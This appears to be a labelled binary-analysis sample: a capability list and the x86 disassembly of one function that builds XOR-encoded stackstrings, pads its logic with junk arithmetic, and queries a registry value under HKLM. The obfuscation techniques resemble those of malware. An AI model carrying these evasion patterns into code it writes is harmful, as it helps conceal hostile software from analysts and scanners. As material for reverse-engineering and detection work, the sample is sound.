Function at 0x41fd50
Capabilities:
Contain obfuscated stackstrings
Encode data using xor
Query or enumerate registry value
Resolve function by parsing pe exports

Disassembly:
sub esp, 0xb0
mov eax, dword [0x4310d8]
push ebx
push ebp
mov dword [esp + 0xb4], eax
mov al, 0x92
push esi
mov dl, 0x78
push edi
mov edi, ecx
mov byte [esp + 0x44], al
mov byte [esp + 0x4a], al
mov cl, 0xd2
mov byte [esp + 0x53], al
mov al, 0x85
mov byte [esp + 0x34], dl
mov byte [esp + 0x43], dl
mov bl, 0x63
mov byte [esp + 0x4e], cl
mov byte [esp + 0x55], al
mov byte [esp + 0x59], al
mov byte [esp + 0x5e], cl
mov cl, 0xc1
mov byte [esp + 0x69], dl
mov al, 0x2f
mov dl, 0xaa
mov byte [esp + 0x30], 0x7b
mov byte [esp + 0x31], 0x3a
mov byte [esp + 0x32], 0x59
mov byte [esp + 0x33], 0xfe
mov byte [esp + 0x35], 0xb0
mov byte [esp + 0x36], 0xb1
mov byte [esp + 0x37], 0x27
mov byte [esp + 0x38], 0x34
mov byte [esp + 0x39], 0xf8
mov byte [esp + 0x3a], 0x7f
mov byte [esp + 0x3b], 0x7a
mov byte [esp + 0x3c], 6
mov byte [esp + 0x3d], 0x30
mov byte [esp + 0x3e], 0xcb
mov byte [esp + 0x3f], 0xef
mov byte [esp + 0x40], 0x87
mov byte [esp + 0x41], 0xae
mov byte [esp + 0x42], 0xc9
mov byte [esp + 0x45], 0x32
mov byte [esp + 0x46], 0xab
mov byte [esp + 0x47], 0x86
mov byte [esp + 0x48], bl
mov byte [esp + 0x49], 0x79
mov byte [esp + 0x4b], 0x5c
mov byte [esp + 0x4c], 0x91
mov byte [esp + 0x4d], 0xf3
mov byte [esp + 0x4f], 0xbf
mov byte [esp + 0x50], 0xb5
mov byte [esp + 0x51], 0x53
mov byte [esp + 0x52], 0xa2
mov byte [esp + 0x54], 0x76
mov byte [esp + 0x56], 0xd9
mov byte [esp + 0x57], 4
mov byte [esp + 0x58], 0x41
mov byte [esp + 0x5a], 0x70
mov byte [esp + 0x5b], 0x49
mov byte [esp + 0x5c], 0xf6
mov byte [esp + 0x5d], 0x7d
mov byte [esp + 0x5f], 0x94
mov byte [esp + 0x60], 0x4c
mov byte [esp + 0x61], 0x9d
mov byte [esp + 0x62], 0x33
mov byte [esp + 0x63], cl
mov byte [esp + 0x64], 0xa1
mov byte [esp + 0x65], 0x3a
mov byte [esp + 0x66], 8
mov byte [esp + 0x67], bl
mov byte [esp + 0x68], 0x1d
mov byte [esp + 0x6a], cl
mov byte [esp + 0x6b], al
mov byte [esp + 0x74], 0x28
mov byte [esp + 0x75], 0x75
mov byte [esp + 0x76], 0x1f
mov byte [esp + 0x77], dl
mov byte [esp + 0x78], al
mov byte [esp + 0x79], 0xf1
mov byte [esp + 0x86], dl
mov dl, 0x10
mov byte [esp + 0x87], dl
mov byte [esp + 0x8d], dl
mov dl, 0xbd
mov byte [esp + 0x97], cl
mov cl, 0x14
mov byte [esp + 0x8f], al
mov byte [esp + 0xaf], al
mov byte [esp + 0x7a], 0xe3
mov byte [esp + 0x7b], 0x62
mov byte [esp + 0x7c], 0x68
mov byte [esp + 0x7d], 0xab
mov byte [esp + 0x7e], 6
mov byte [esp + 0x7f], 0x1d
mov byte [esp + 0x80], 0x67
mov byte [esp + 0x81], 0x44
mov byte [esp + 0x82], 0xae
mov byte [esp + 0x83], 0xcf
mov byte [esp + 0x84], 0xd3
mov byte [esp + 0x85], 0xcb
mov byte [esp + 0x88], 0xfc
mov byte [esp + 0x89], 0x5d
mov byte [esp + 0x8a], 0xc7
mov byte [esp + 0x8b], 0xe9
mov byte [esp + 0x8c], 4
mov byte [esp + 0x8e], 0xf7
mov byte [esp + 0x90], dl
mov byte [esp + 0x91], 0xd3
mov byte [esp + 0x92], 0x9b
mov byte [esp + 0x93], 0xd1
mov byte [esp + 0x94], 0xd6
mov byte [esp + 0x95], 0x7d
mov byte [esp + 0x96], 0xfe
mov byte [esp + 0x98], 0xf
mov byte [esp + 0x99], 0xe2
mov byte [esp + 0x9a], 0xb8
mov byte [esp + 0x9b], 0x70
mov byte [esp + 0x9c], 0x24
mov byte [esp + 0x9d], 0xa5
mov byte [esp + 0x9e], 0x20
mov byte [esp + 0x9f], 0x2c
mov byte [esp + 0xa0], 0x84
mov byte [esp + 0xa1], 0xe
mov byte [esp + 0xa2], dl
mov byte [esp + 0xa3], 0xfa
mov byte [esp + 0xa4], 0x2d
mov byte [esp + 0xa5], 0xf1
mov byte [esp + 0xa6], 0x13
mov byte [esp + 0xa7], 0x87
mov byte [esp + 0xa8], 0xc8
mov byte [esp + 0xa9], 0x48
mov byte [esp + 0xaa], 0x6d
mov byte [esp + 0xab], cl
mov byte [esp + 0xac], 0x7c
mov byte [esp + 0xad], cl
mov byte [esp + 0xae], 0xad
xor eax, eax
lea ecx, [ecx]
mov dl, byte [esp + eax + 0x74]
xor byte [esp + eax + 0x30], dl
mov dl, byte [esp + eax + 0x75]
xor byte [esp + eax + 0x31], dl
mov dl, byte [esp + eax + 0x76]
xor byte [esp + eax + 0x32], dl
mov dl, byte [esp + eax + 0x77]
xor byte [esp + eax + 0x33], dl
mov dl, byte [esp + eax + 0x78]
xor byte [esp + eax + 0x34], dl
mov dl, byte [esp + eax + 0x79]
xor byte [esp + eax + 0x35], dl
add eax, 6
cmp eax, 0x3c
jl 0x420050
mov ebp, dword [0x431f34]
mov al, 0xc4
mov byte [esp + 0x73], al
mov byte [esp + 0x28], al
lea eax, [esp + 0x6c]
mov byte [esp + 0x2e], cl
push eax
add ebp, 0x32
lea eax, [esp + 0x2c]
mov ecx, 8
mov dword [0x431f34], ebp
mov byte [esp + 0x70], 0x21
mov byte [esp + 0x71], 0x71
mov byte [esp + 0x72], 0xf5
mov byte [esp + 0x73], 0x65
mov byte [esp + 0x74], 0xc0
mov byte [esp + 0x75], 0x88
mov byte [esp + 0x76], 0xf4
mov byte [esp + 0x2d], 0x9a
mov byte [esp + 0x2e], 0xe7
mov byte [esp + 0x2f], 0xa9
mov byte [esp + 0x30], 0x16
mov byte [esp + 0x31], 0x87
mov byte [esp + 0x33], 0x77
call fcn.0041e2e0
mov ebp, eax
mov al, 0x5f
lea ecx, [esp + 0xb0]
mov byte [esp + 0x1c], al
mov byte [esp + 0x26], al
push ecx
lea edx, [esp + 0x20]
mov eax, 0xb
mov byte [esp + 0xb4], 0xe
mov byte [esp + 0xb5], 0xe7
mov byte [esp + 0xb6], 0x7b
mov byte [esp + 0xb7], 0x7f
mov byte [esp + 0xb8], 0x8c
mov byte [esp + 0xb9], 0x43
mov byte [esp + 0xba], 0x5b
mov byte [esp + 0xbb], 0xb2
mov byte [esp + 0xbc], 0x81
mov byte [esp + 0xbd], 0xb0
mov byte [esp + 0xbe], 0xce
mov byte [esp + 0x21], 0xc
mov byte [esp + 0x22], 0x61
mov byte [esp + 0x23], 2
mov byte [esp + 0x24], 0x51
mov byte [esp + 0x25], 0x34
mov byte [esp + 0x26], 0x46
mov byte [esp + 0x27], 0x30
mov byte [esp + 0x28], 0x59
mov byte [esp + 0x29], 0x3a
call fcn.0041e250
mov dword [esp + 0x28], eax
mov ax, word [0x431f38]
add ax, 0x6d
add ax, 0x6d
add ax, 0x6d
add ax, 0x6d
add ax, 0x6d
add ax, 0x6d
add ax, 0x6d
add ax, 0x6d
push 0xff
add ax, 0x6d
push 8
mov byte [esp + 0x24], 0x41
mov byte [esp + 0x25], bl
mov byte [esp + 0x26], 0x74
mov byte [esp + 0x27], 0x69
mov byte [esp + 0x28], 0x76
mov byte [esp + 0x29], 0x65
mov byte [esp + 0x2a], 0x53
mov byte [esp + 0x2b], 0x47
mov byte [esp + 0x2c], 0
mov word [0x431f38], ax
mov dword [esp + 0x20], 0xff
mov dword [esp + 0x1c], 0
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
lea edx, [esp + 0x10]
push edx
push 1
mov ebx, eax
push 0
lea eax, [esp + 0x3c]
push eax
push 0x80000002
mov esi, 0x3b26c
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
je 0x420256
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [edi + 0x34], eax
mov esi, 0x3004
mov ecx, dword [0x431f34]
mov dl, byte [0x431f2c]
imul ecx, ecx, 0x7f3
lea eax, [esp + 0x18]
push eax
push ebx
xor esi, ecx
lea ecx, [esp + 0x1c]
push ecx
and dl, 2
push 0
mov byte [0x431f30], dl
mov edx, dword [esp + 0x20]
push ebp
push edx
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
je 0x42029e
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [edi + 0x34], eax
jmp 0x42038d
movzx edx, word [0x431f38]
mov ecx, dword [0x431f2c]
mov eax, edx
imul eax, dword [0x431f34]
lea ebp, [eax - 0x43]
imul eax, eax, 0x25
and ecx, ebp
mov dword [0x431f2c], ecx
xor esi, eax
and cl, 2
lea eax, [edx*4]
push 0x42e310
push ebx
mov byte [0x431f30], cl
mov dword [0x431f34], eax
call fcn.00425a4d
add esp, 8
test eax, eax
je 0x4202f7
push eax
call fcn.004259c0
add esp, 4
mov dword [edi + 0x24], eax
mov ecx, dword [0x431f2c]
imul esi, esi, 0x2ed1
or word [0x431f38], si
sub ecx, esi
push 0x42e310
push 0
mov dword [0x431f2c], ecx
call fcn.00425a4d
add esp, 8
test eax, eax
je 0x420331
push eax
call fcn.004259c0
add esp, 4
mov dword [edi + 0x28], eax
movzx ecx, word [0x431f38]
movsx edx, byte [0x431f30]
mov eax, dword [0x431f34]
imul ecx, edx
imul ecx, ecx, 0x25
xor eax, ecx
push 0x42e310
push 0
mov dword [0x431f34], eax
call fcn.00425a4d
add esp, 8
test eax, eax
je 0x420370
push eax
call fcn.004259c0
add esp, 4
mov dword [edi + 0x2c], eax
movzx eax, word [0x431f38]
add eax, 0x50
mov dword [0x431f2c], eax
mov dword [edi + 0x30], 0x15
mov dword [edi + 0x38], 1
movzx ecx, word [0x431f38]
mov edx, dword [esp + 0x28]
shl ecx, 2
lea esi, [edi + 0x34]
push esi
mov dword [0x431f34], ecx
push edx
mov ecx, edi
mov byte [0x431f30], 0x3d
call fcn.0041f020
mov dword [edi + 0x3c], eax
push esi
lea eax, [esp + 0x20]
push eax
mov ecx, edi
call fcn.0041f100
push ebx
push 0
mov dword [edi + 0x40], eax
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapFree]
mov ecx, dword [esp + 0x10]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov ecx, dword [esp + 0xbc]
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
call fcn.00424873
add esp, 0xb0
ret